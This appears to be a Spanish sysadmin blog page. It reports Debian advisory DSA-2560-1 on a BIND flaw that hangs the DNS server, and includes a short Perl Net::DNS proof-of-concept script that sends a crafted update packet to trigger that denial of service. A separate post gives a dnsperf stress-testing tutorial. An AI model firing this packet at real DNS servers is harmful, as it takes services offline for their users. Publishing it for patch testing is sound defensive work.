[DSA-2560-1] Fallo de seguridad en Bind DNS server

En los boletines de seguridad  de Debian se ha publicado la noticia del fallo de seguridad que afecta al servicio DNS bind así como el paquete actualizado que corrige el fallo DSA-2560-1.

Es importante conocer que el fallo provoca que se detenga el servicio de DNS ( Denial of service ). Según se indica de forma escueta,el servicio falla al intentar construir un paquete de respuesta cuando hay una combinación específica de registros DNS. Este caso afecta tanto a servidores autoritativos como recursivos.

It was discovered that BIND, a DNS server, hangs while constructing the additional section of a DNS reply, when certain combinations of resource records are present. This vulnerability affects both recursive and authoritative servers.

Debian: Fallo de seguridad en BIND

Se ha publicado una actualización del paquete BIND para Debian .

Exite un fallo de seguridad con el cual el denomio de dns cae con un paquete especificamente mal formado

15:38:11.676045 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 178) 10.2.0.205.59447 > 10.2.0.205.53:  17378 update [1a] [1n] [1au] SOA? 8.0.10.in-addr.arpa. 8.8.0.10.in-addr.arpa. ANY ns: [|domain]

Bind solo fallará si se usa un nameserver como fqdn.

Script que proporcionan en debian para probar el fallo :

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = '<dns server>';
our $NSI_KEY_NAME = '<key name>';
our $NSI_KEY = '<key>';


my $rzone = '<zone>';
my $rptr  = "1.$rzone";

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
    pre => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'IN',
        Type  => 'ANY',
        TTL   => 0,
    )
);
$packet->push(
    update => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'ANY',
        Type  => 'ANY',
    )
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;


print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);

Más información aquí

Herramienta de stress para bind/named

A veces surge la necesidad de verificar si nuestros servicios están correctamente optimizados. En nuestro caso vamos a comprobar qué tal se comporta un servidor bind/named ( servicio dns )

Usaremos la herramienta queryperf ( dns stress tool )

cd /usr/src
apt-get install libbind-dev build-essential libssl-dev

wget ftp://ftp.nominum.com/pub/nominum/dnsperf/1.0.1.0/dnsperf-src-1.0.1.0-1.tar.gz
tar zxvf dnsperf-src-1.0.1.0-1.tar.gz
cd dnsperf-src-1.0.1.0-1
./configure
make
make install

y para probarlo ( el fichero de examples está contenido en paquete tar ) :

dnsperf -s dns.hostingaldescubierto.com < examples/queryfile-example-100thousand

DNS Performance Testing Tool

Nominum Version 1.0.1.0

[Status] Processing input data
[Status] Sending queries (to 192.168.100.1)
[Status] Testing complete

Statistics:

Parse input file:     once
Ended due to:         reaching end of file

Queries sent:         100000 queries
Queries completed:    100000 queries
Queries lost:         0 queries

Avg request size:     41 bytes
Avg response size:    110 bytes

Percentage completed: 100.00%
Percentage lost:        0.00%

Started at:           Fri Jul 18 14:56:52 2008
Finished at:          Fri Jul 18 14:57:01 2008
Ran for:              9.552197 seconds

Queries per second:   10468.795817 qps

También podeis consultar un interesante artículo acerca del rendimiento de Bind 9 en distintos servidores en este enlace